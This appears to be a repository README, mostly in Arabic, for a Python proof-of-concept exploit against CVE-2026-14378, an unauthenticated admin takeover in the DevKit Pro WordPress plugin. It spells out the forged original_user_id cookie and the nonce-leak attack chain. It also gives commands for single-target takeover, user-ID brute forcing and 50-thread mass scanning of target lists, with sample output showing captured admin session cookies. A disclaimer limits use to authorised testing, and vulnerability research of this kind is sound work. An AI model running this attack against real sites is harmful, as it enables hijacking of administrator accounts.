
ماسح PoC بلغة Python واستغلال لـ CVE-2026-14378، وهو استيلاء على جلسة مسؤول قبل المصادقة في إضافة DevKit Pro لـ WordPress عبر ملف تعريف ارتباط original_user_id مزوّر.
أداة فحص وإثبات مفهوم لاستغلال CVE-2026-14378: الاستيلاء على جلسة مسؤول دون مصادقة في إضافة ووردبريس DevKit Pro (dplugins) عبر خلل في تدفق "الرجوع" الخاص بتبديل المستخدم.
قانوني: استخدم هذا فقط على الأنظمة التي تملكها أو لديك إذن كتابي صريح لاختبارها. الوصول غير المصرح به غير قانوني. هذا المستودع مخصص للبحث الدفاعي والتحقق والتحقق من التصحيحات.
PoC for CVE-2026-14378: DevKit Pro ≤2.3.0 pre-auth admin takeover via forged original_user_id cookie + wp_footer revert_switch nonce. check/admin + mass scan.
المواضيع المقترحة: cve-2026-14378, wordpress, wordpress-exploit, devkit-pro, dplugins, authentication-bypass, poc, security-research
| CVE | CVE-2026-14378 |
| المنتج | DevKit Pro (المورد: dplugins) |
| النوع | تجاوز المصادقة → جلسة مسؤول كاملة (CWE-287) |
| المتأثر | جميع الإصدارات ≤ 2.3.0 |
| المُصحَّح | 3.0.0+ (سجل التغييرات) |
| CVSS 3.1 | 9.8 حرج — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CNA | Wordfence |
| CVE | المشكلة | المصادقة |
|---|---|---|
| CVE-2026-14357 | تثبيت ملف ZIP عشوائي للقالب عبر DPDEV_install_themes | Subscriber+ |
| CVE-2026-14378 | الاستيلاء على الجلسة عبر الرجوع من تبديل المستخدم | لا شيء |
هذا الإثبات يستهدف 14378 فقط.
يمكن لـ Users Manager في DevKit Pro انتحال هوية المستخدمين للاختبار. عندما ينتقل المسؤول إلى حساب آخر، تخزّن الإضافة الهوية السابقة في ملف تعريف ارتباط على العميل:
original_user_id — معرّف المستخدم للحساب قبل التبديلعند وجود ملف تعريف الارتباط هذا، تعرض الإضافة عنصر تحكم "الرجوع" في wp_footer على الواجهة الأمامية، بما في ذلك nonce من ووردبريس مرتبط بإجراء الرجوع.
معالج revert_switch (AJAX) يستدعي verify_nonce_and_capability()، الذي يقيّم manage_options بشكل خاطئ مقابل المستخدم المشار إليه بواسطة original_user_id، بدلاً من استخدام current_user_can() على الطالب الفعلي (الذي قد يكون غير مصادق عليه تماماً).
يمكن للمهاجم:
Cookie: original_user_id=<administrator_user_id> (عادةً 1).POST إلى wp-admin/admin-ajax.php مع action=revert_switch (أو اسم مستعار خاص بالإضافة) و nonce المسرّب.wp_set_auth_cookie() لمعرّف المستخدم المزوّر → جلسة مسؤول مصادق عليها.سياق الميزة الرسمي: Users Manager — switch back.
sequenceDiagram
participant A as Attacker
participant W as WordPress (front end)
participant P as DevKit Pro
participant X as admin-ajax.php
A->>W: GET / (Cookie: original_user_id=1)
W->>P: wp_footer hook
P-->>W: switch-back HTML + nonce
W-->>A: page body contains nonce
A->>X: POST action=revert_switch + nonce
Note over P,X: capability checked for user 1, not attacker
X-->>A: Set-Cookie wordpress_logged_in_*
A->>W: GET /wp-admin/
W-->>A: admin dashboard
أمر check صارم عن قصد: يبلّغ عن قابلية الاستغلال فقط إذا ظهر nonce الرجوع بعد تزوير original_user_id.
| الملاحظة | المعنى المحتمل |
|---|---|
VULNERABLE — switch-back material leaked | مسار الاستغلال يعمل على الأرجح؛ أكّد في مختبر قبل admin. |
not vulnerable (check): no switch-back nonce… | DevKit مُصحَّح (≥ 3.0.0)، الإضافة غير مثبتة، Users Manager معطّل (معطّل افتراضياً)، مسار إضافة مخصص، ذاكرة تخزين مؤقت/CDN يزيل التذييل، أو موقع خاطئ. |
DevKit Pro readme not confirmed | لا يوجد بصمة readme.txt عامة؛ قد تكون الإضافة موجودة لكن مخفية — يبقى الاختبار الحاسم هو الأوراكل. |
DevKit Pro <= 2.3.0 suspected + لا يزال لا يوجد nonce | قد يكون الإصدار القابل للاستغلال مثبتاً لكن ميزة التبديل غير مفعّلة أو التذييل غير معروض على عناوين URL المختبرة. |
ملاحظة: استجابة HTTP 200 على /wp-content/plugins/.../readme.txt التي تُرجع صفحة HTML كاملة هي 404 ناعمة شائعة في ووردبريس. يتحقق هذا الإثبات من محتوى readme (ترويسة Plugin Name:)، وليس من رمز الحالة وحده.
pip install requests
اختياري: يحتوي requirements.txt على حد أدنى مثبّت:
requests>=2.28.0
git clone https://github.com/YOUR_USER/cve-2026-14378-poc.git
cd cve-2026-14378-poc
pip install -r requirements.txt # or: pip install requests
لا يكمل الاستيلاء؛ يختبر فقط أوراكل nonce في التذييل.
python poc.py check https://target.example/
python poc.py check https://target.example/ --user-id 2
python poc.py check https://target.example/ --timeout 40
يحاول revert_switch الكامل ويتحقق من الوصول إلى /wp-admin/.
python poc.py admin https://target.example/
python poc.py admin https://target.example/ --user-id 1 --brute 5
python poc.py admin https://target.example/ --log successes.txt
| الخيار | الوصف |
|---|---|
--user-id | معرّف المستخدم المسؤول (أو الهدف) المزوّر في original_user_id (افتراضي: 1) |
--brute | تجربة المعرّفات 1..N عندما يفشل المعرّف الأول |
--timeout | مهلة HTTP بالثواني (افتراضي: 25) |
--log | إلحاق عناوين URL الناجحة لـ admin بملف (افتراضي: logs.txt) |
عنوان URL واحد لكل سطر؛ يتم تجاهل تعليقات # والأعمدة الإضافية بعد المسافة البيضاء.
# Detection only (recommended first pass)
python poc.py targets.txt
# Exploit attempts (authorized targets only)
python poc.py targets.txt admin
إذا لم يتم تمرير ملف كوسيطة أولى، يطلب النص مسار قائمة (نفس سلوك أدوات الفحص الجماعي القديمة).
يستخدم الوضع الجماعي مجموعة خيوط (50 عاملاً). اضبطها في poc.py إذا واجهت حدود المعدل.
# FOFA / manual imports
https://staging.example.com
example.org
192.0.2.10|wordpress|1.2.3 # only first token is used
قابل للاستغلال (check):
[*] https://vulnerable.example
[+] DevKit Pro <= 2.3.0 suspected (stable tag 2.3.0)
[+] VULNERABLE — switch-back material leaked (action=revert_switch, nonce=a1b2c3d4…)
غير قابل للاستغلال (فحص جماعي نموذجي):
[*] https://patched.example
[!] DevKit Pro readme not confirmed (hidden path, WAF, or plugin absent)
[-] not vulnerable (check): no switch-back nonce in wp_footer with forged original_user_id cookie — patched DevKit, Users Manager off, or wrong target
نجاح admin:
[*] https://lab.local
[+] https://lab.local -> administrator session as user_id=1
[+] cookie: wordpress_logged_in_…=…
verify=False) لفحص بأسلوب اختبار الاختراق؛ يتم اتباع إعادة التوجيه؛ تراجع اختياري HTTP↔HTTPS عند الأخطاء.revert_switch, DPDEV_revert_switch, dpdev_revert_switch, devkit_revert_switch (إضافة تجارية؛ قد يختلف اسم الخطاف الدقيق حسب البنية)./, /?p=1, /sample-page/, /index.php مع ملف تعريف ارتباط مزوّر.wordpress_logged_in_* و/أو علامات لوحة تحكم /wp-admin/.DevKit Pro غير موزّع على wordpress.org؛ يعتمد تحديد الإصدار على readme.txt المكشوف عند وجوده.
revert_switch مشبوه في admin-ajax.php مع ملفات تعريف ارتباط مزوّرة.